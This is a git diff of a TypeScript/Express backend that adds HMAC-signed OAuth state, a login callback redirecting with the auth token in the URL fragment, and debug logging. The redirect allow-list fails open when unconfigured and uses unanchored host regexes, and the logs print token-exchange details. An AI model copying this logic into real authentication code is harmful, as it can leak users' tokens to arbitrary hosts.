'office') { throw new BusinessRuleError('User not attached to an office'); } // Get office location data const officeLocationData = await IdNotService.getOfficeLocationData(userData.entite.locationsUrl); - + if (!officeLocationData || !officeLocationData.result || officeLocationData.result.length === 0) { throw new BusinessRuleError('Office location data not found'); } @@ -157,10 +170,10 @@ export class IdNotController { createdAt: Date.now(), expiresAt: Date.now() + (24 * 60 * 60 * 1000) // 24 hours }; - + authTokens.push(tokenData); - Logger.info('IdNot authentication successful', { + Logger.info('IdNot authentication successful', { idNot: idNotUser.idNot, office: idNotUser.office.name }); @@ -172,11 +185,11 @@ export class IdNotController { codePrefix: code.substring(0, 8) + '...', error: error instanceof Error ? error.message : 'Unknown error' }); - + if (error instanceof BusinessRuleError || error instanceof ExternalServiceError) { throw error; } - + throw new ExternalServiceError('IdNot', `Authentication failed: ${error instanceof Error ? error.message : 'Unknown error'}`); } } @@ -189,12 +202,12 @@ export class IdNotController { // Find the full token data const userAuth = authTokens.find(auth => auth.authToken === authToken); - + if (!userAuth || !userAuth.idNotUser) { throw new NotFoundError('User data not found. Please log in again.'); } - Logger.info('Current user data retrieved', { + Logger.info('Current user data retrieved', { idNot, office: userAuth.idNotUser.office.name }); @@ -213,16 +226,16 @@ export class IdNotController { // Remove the auth token from the array const tokenIndex = authTokens.findIndex(auth => auth.authToken === authToken); - + if (tokenIndex > -1) { const removedToken = authTokens.splice(tokenIndex, 1)[0]; - Logger.info('User logout successful', { - idNot: removedToken.idNot + Logger.info('User logout successful', { + idNot: removedToken.idNot }); } else { Logger.warn('Logout attempted with invalid token'); } - + return { success: true, message: 'Déconnexion réussie' diff --git a/src/handlers/idnot-callback.handlers.ts b/src/handlers/idnot-callback.handlers.ts new file mode 100644 index 0000000..11e3daa --- /dev/null +++ b/src/handlers/idnot-callback.handlers.ts @@ -0,0 +1,55 @@ +import { Request, Response } from 'express'; +import { asyncHandler } from '../middleware/error-handler'; +import { StateService } from '../services/state.service'; +import { IdNotController } from '../controllers/idnot.controller'; +import { ExternalServiceError, ValidationError } from '../types/errors'; + +export class IdNotCallbackHandlers { + static callback = asyncHandler(async (req: Request, res: Response): Promise => { + const code = req.query.code as string | undefined; + const state = req.query.state as string | undefined; + + // Debug logging to inspect what reaches the backend via Nginx + // Note: keep logs concise to avoid leaking sensitive data in production + try { + // Only log presence/length of params to avoid full values in logs + const safeQuery = { + code_present: typeof code === 'string', + code_length: typeof code === 'string' ? code.length : undefined, + state_present: typeof state === 'string', + state_length: typeof state === 'string' ? state.length : undefined + }; + console.info('[IdNotCallback] incoming request', { + originalUrl: req.originalUrl, + method: req.method, + query: safeQuery, + headers: { + host: req.headers.host, + 'x-forwarded-for': req.headers['x-forwarded-for'], + 'x-forwarded-proto': req.headers['x-forwarded-proto'] + } + }); + } catch {} + + if (!code || !state) { + throw new ValidationError('Missing code or state', [ + { field: 'code', value: code, constraints: ['required'] }, + { field: 'state', value: state, constraints: ['required'] } + ]); + } + + const payload = StateService.verifyState(state); + + // Exchange code using existing controller logic to build auth and user + const { authToken } = await IdNotController.authenticate(code); + + const url = new URL(payload.next_url); + // Prefer fragment to avoid leaking in server logs + const hash = url.hash ? url.hash.replace(/^#/, '') + `&authToken=${encodeURIComponent(authToken)}` : `authToken=${encodeURIComponent(authToken)}`; + const redirectTo = `${url.origin}${url.pathname}${url.search}#${hash}`; + + res.redirect(302, redirectTo); + }); +} + + diff --git a/src/handlers/idnot.handlers.ts b/src/handlers/idnot.handlers.ts index d79d214..9f62c45 100644 --- a/src/handlers/idnot.handlers.ts +++ b/src/handlers/idnot.handlers.ts @@ -4,21 +4,21 @@ import { asyncHandler } from '../middleware/error-handler'; import { ValidationError, BusinessRuleError } from '../types/errors'; /** - * Route handlers that extract and validate HTTP request data + * Route handlers that extract and validate HTTP request data * before calling pure controller methods */ export class IdNotHandlers { - + /** * GET /user/rattachements * Extract idNot from query params and call controller */ static getUserRattachements = asyncHandler(async (req: Request, res: Response): Promise => { const requestId = req.headers['x-request-id'] as string; - + // Extract and validate parameters const { idNot } = req.query; - + if (!idNot || typeof idNot !== 'string') { throw new ValidationError('idNot parameter is required', [ { field: 'idNot', value: idNot, constraints: ['Must be a valid string'] } @@ -27,20 +27,20 @@ export class IdNotHandlers { // Call pure controller method with extracted parameters const result = await IdNotController.getUserRattachements(idNot); - + res.json(result); }); /** - * GET /office/rattachements + * GET /office/rattachements * Extract idNot from query params and call controller */ static getOfficeRattachements = asyncHandler(async (req: Request, res: Response): Promise => { const requestId = req.headers['x-request-id'] as string; - + // Extract and validate parameters const { idNot } = req.query; - + if (!idNot || typeof idNot !== 'string') { throw new ValidationError('idNot parameter is required', [ { field: 'idNot', value: idNot, constraints: ['Must be a valid string'] } @@ -49,20 +49,20 @@ export class IdNotHandlers { // Call pure controller method const result = await IdNotController.getOfficeRattachements(idNot); - + res.json(result); }); /** - * POST /auth/:code - * Extract code from URL params and call controller + * POST /auth + * Extract code from request body and call controller */ static authenticate = asyncHandler(async (req: Request, res: Response): Promise => { const requestId = req.headers['x-request-id'] as string; - - // Extract and validate parameters - const { code } = req.params; - + + // Extract and validate parameters from body + const { code } = req.body; + if (!code || typeof code !== 'string' || code.length < 10) { throw new ValidationError('Invalid authentication code', [ { field: 'code', value: code, constraints: ['Must be a valid authorization code'] } @@ -71,7 +71,7 @@ export class IdNotHandlers { // Call pure controller method const result = await IdNotController.authenticate(code); - + res.json(result); }); @@ -81,17 +81,17 @@ export class IdNotHandlers { */ static getCurrentUser = asyncHandler(async (req: Request, res: Response): Promise => { const requestId = req.headers['x-request-id'] as string; - + // Extract user info (set by authenticateIdNot middleware) if (!req.idNotUser) { throw new BusinessRuleError('User authentication required', undefined, requestId); } const { idNot, authToken } = req.idNotUser; - + // Call pure controller method const result = await IdNotController.getCurrentUser(idNot, authToken); - + res.json(result); }); @@ -101,16 +101,16 @@ export class IdNotHandlers { */ static logout = asyncHandler(async (req: Request, res: Response): Promise => { const requestId = req.headers['x-request-id'] as string; - + if (!req.idNotUser) { throw new BusinessRuleError('User authentication required', undefined, requestId); } const { authToken } = req.idNotUser; - + // Call pure controller method const result = await IdNotController.logout(authToken); - + res.json(result); }); @@ -120,16 +120,16 @@ export class IdNotHandlers { */ static validateToken = asyncHandler(async (req: Request, res: Response): Promise => { const requestId = req.headers['x-request-id'] as string; - + if (!req.idNotUser) { throw new BusinessRuleError('User authentication required', undefined, requestId); } const { idNot } = req.idNotUser; - + // Call pure controller method const result = await IdNotController.validateToken(idNot); - + res.json(result); }); } diff --git a/src/handlers/state.handlers.ts b/src/handlers/state.handlers.ts new file mode 100644 index 0000000..0a492cb --- /dev/null +++ b/src/handlers/state.handlers.ts @@ -0,0 +1,24 @@ +import { Request, Response } from 'express'; +import { asyncHandler } from '../middleware/error-handler'; +import { StateService } from '../services/state.service'; +import { ValidationError } from '../types/errors'; + +export class StateHandlers { + static createState = asyncHandler(async (req: Request, res: Response): Promise => { + const requestId = req.headers['x-request-id'] as string; + const { next_url } = req.body || {}; + + if (!next_url || typeof next_url !== 'string') { + throw new ValidationError('next_url is required', [ + { field: 'next_url', value: next_url, constraints: ['Must be a valid string URL'] } + ], requestId); + } + + const state = StateService.signState(next_url); + res.json({ state }); + }); +} + + + + diff --git a/src/routes/idnot.routes.ts b/src/routes/idnot.routes.ts index 596108d..0d5245f 100644 --- a/src/routes/idnot.routes.ts +++ b/src/routes/idnot.routes.ts @@ -6,7 +6,7 @@ const router = Router(); router.get('/user/rattachements', IdNotHandlers.getUserRattachements); router.get('/office/rattachements', IdNotHandlers.getOfficeRattachements); -router.post('/auth/:code', IdNotHandlers.authenticate); +router.post('/auth', IdNotHandlers.authenticate); router.get('/user', authenticateIdNot, IdNotHandlers.getCurrentUser); router.post('/logout', authenticateIdNot, IdNotHandlers.logout); diff --git a/src/routes/index.ts b/src/routes/index.ts index 8e9d7b8..5c09eeb 100644 --- a/src/routes/index.ts +++ b/src/routes/index.ts @@ -2,6 +2,8 @@ import { Router } from 'express'; import { healthRoutes } from './health.routes'; import { smsRoutes } from './sms.routes'; import { idnotRoutes } from './idnot.routes'; +import { StateHandlers } from '../handlers/state.handlers'; +import { IdNotCallbackHandlers } from '../handlers/idnot-callback.handlers'; import { emailRoutes } from './email.routes'; import { stripeRoutes } from './stripe.routes'; import { processRoutes } from './process.routes'; @@ -16,4 +18,8 @@ router.use('/api/v1/process', processRoutes); router.use('/api', emailRoutes); router.use('/api', stripeRoutes); +// State and callback endpoints (front-agnostic) +router.post('/api/v1/idnot/state', StateHandlers.createState); +router.get('/idnot/callback', IdNotCallbackHandlers.callback); + export { router as routes }; diff --git a/src/routes/index.ts.bak b/src/routes/index.ts.bak new file mode 100644 index 0000000..e15a9b0 --- /dev/null +++ b/src/routes/index.ts.bak @@ -0,0 +1,23 @@ +import { Router } from 'express'; +import { healthRoutes } from './health.routes'; +import { smsRoutes } from './sms.routes'; +import { idnotRoutes } from './idnot.routes'; +import { emailRoutes } from './email.routes'; +import { stripeRoutes } from './stripe.routes'; +import { processRoutes } from './process.routes'; + +const router = Router(); + +// Mount routes +router.use('/api/v1', healthRoutes); +router.use('/api', smsRoutes); +router.use('/api/v1/idnot', idnotRoutes); +router.use('/api/v1/process', processRoutes); +router.use('/api', emailRoutes); +router.use('/api', stripeRoutes); + +export { router as routes }; + + + + diff --git a/src/services/idnot/index.ts b/src/services/idnot/index.ts index 537bf28..aefc7fa 100644 --- a/src/services/idnot/index.ts +++ b/src/services/idnot/index.ts @@ -22,6 +22,15 @@ export class IdNotService { code }; + console.log('🔍 IdNot Token Request Debug:', { + url: IDNOT_TOKEN_URL, + client_id: IDNOT_CLIENT_ID, + redirect_uri: IDNOT_REDIRECT_URI, + grant_type: 'authorization_code', + code_length: code.length, + code_prefix: code.substring(0, 8) + '...' + }); + const response = await fetch(IDNOT_TOKEN_URL, { method: 'POST', headers: { @@ -30,6 +39,12 @@ export class IdNotService { body: new URLSearchParams(params).toString() }); + console.log('🔍 IdNot Token Response Debug:', { + status: response.status, + statusText: response.statusText, + headers: Object.fromEntries(response.headers.entries()) + }); + if (!response.ok) { throw new Error(`Token exchange failed: ${response.status} ${response.statusText}`); } diff --git a/src/services/state.service.ts b/src/services/state.service.ts new file mode 100644 index 0000000..0539048 --- /dev/null +++ b/src/services/state.service.ts @@ -0,0 +1,119 @@ +import crypto from 'crypto'; + +type StatePayload = { + next_url: string; + nonce: string; + ts: number; +}; + +const nonceCache = new Map(); + +function base64url(input: Buffer | string): string { + const buf = Buffer.isBuffer(input) ? input : Buffer.from(input); + return buf.toString('base64').replace(/=/g, '').replace(/\+/g, '-').replace(/\//g, '_'); +} + +function hmacSha256(data: string, secret: string): string { + return base64url(crypto.createHmac('sha256', secret).update(data).digest()); +} + +function isLocalhostHost(host: string): boolean { + return host === 'localhost' || host === '127.0.0.1'; +} + +function validateNextUrl(nextUrl: string): void { + const allowLocalhost = (process.env.ALLOW_LOCALHOST_REDIRECTS || 'false').toLowerCase() === 'true'; + const patterns = (process.env.ALLOWED_REDIRECT_HOST_PATTERNS || '') + .split(',') + .map(s => s.trim()) + .filter(Boolean) + .map(p => new RegExp(p)); + + let url: URL; + try { + url = new URL(nextUrl); + } catch { + throw new Error('Invalid next_url'); + } + + if (url.protocol !== 'https:' && !(allowLocalhost && url.protocol === 'http:' && isLocalhostHost(url.hostname))) { + throw new Error('next_url scheme not allowed'); + } + + if (patterns.length > 0) { + const ok = isLocalhostHost(url.hostname) || patterns.some(re => re.test(url.hostname)); + if (!ok) { + throw new Error('next_url host not allowed'); + } + } + + if (nextUrl.length > 2048) { + throw new Error('next_url too long'); + } +} + +export const StateService = { + signState(nextUrl: string): string { + validateNextUrl(nextUrl); + + const secret = process.env.BACK_HMAC_SECRET; + if (!secret) throw new Error('Missing BACK_HMAC_SECRET'); + + const payload: StatePayload = { + next_url: nextUrl, + nonce: crypto.randomBytes(16).toString('hex'), + ts: Date.now() + }; + + const payloadStr = JSON.stringify(payload); + const signature = hmacSha256(payloadStr, secret); + + // store nonce for replay protection + const ttl = parseInt(process.env.STATE_TTL_SECONDS || '180', 10) * 1000; + nonceCache.set(payload.nonce, payload.ts + ttl); + + return `${base64url(payloadStr)}.${signature}`; + }, + + verifyState(state: string): StatePayload { + const secret = process.env.BACK_HMAC_SECRET; + if (!secret) throw new Error('Missing BACK_HMAC_SECRET'); + + const parts = state.split('.'); + if (parts.length !== 2) throw new Error('Invalid state format'); + const [b64, sig] = parts; + const payloadJson = Buffer.from(b64.replace(/-/g, '+').replace(/_/g, '/'), 'base64').toString('utf8'); + const expectedSig = hmacSha256(payloadJson, secret); + if (!crypto.timingSafeEqual(Buffer.from(sig), Buffer.from(expectedSig))) { + throw new Error('Invalid state signature'); + } + + const payload = JSON.parse(payloadJson) as StatePayload; + + // TTL + const ttlMs = parseInt(process.env.STATE_TTL_SECONDS || '180', 10) * 1000; + if (Date.now() - payload.ts > ttlMs) throw new Error('State expired'); + + // replay protection + const expiry = nonceCache.get(payload.nonce); + if (!expiry) throw new Error('Invalid nonce'); + nonceCache.delete(payload.nonce); + + // validate next_url again + validateNextUrl(payload.next_url); + + return payload; + } +}; + +// periodic cleanup +setInterval(() => { + const now = Date.now(); + for (const [nonce, expiry] of nonceCache.entries()) { + if (expiry <= now) nonceCache.delete(nonce); + } +}, 60000); + + + +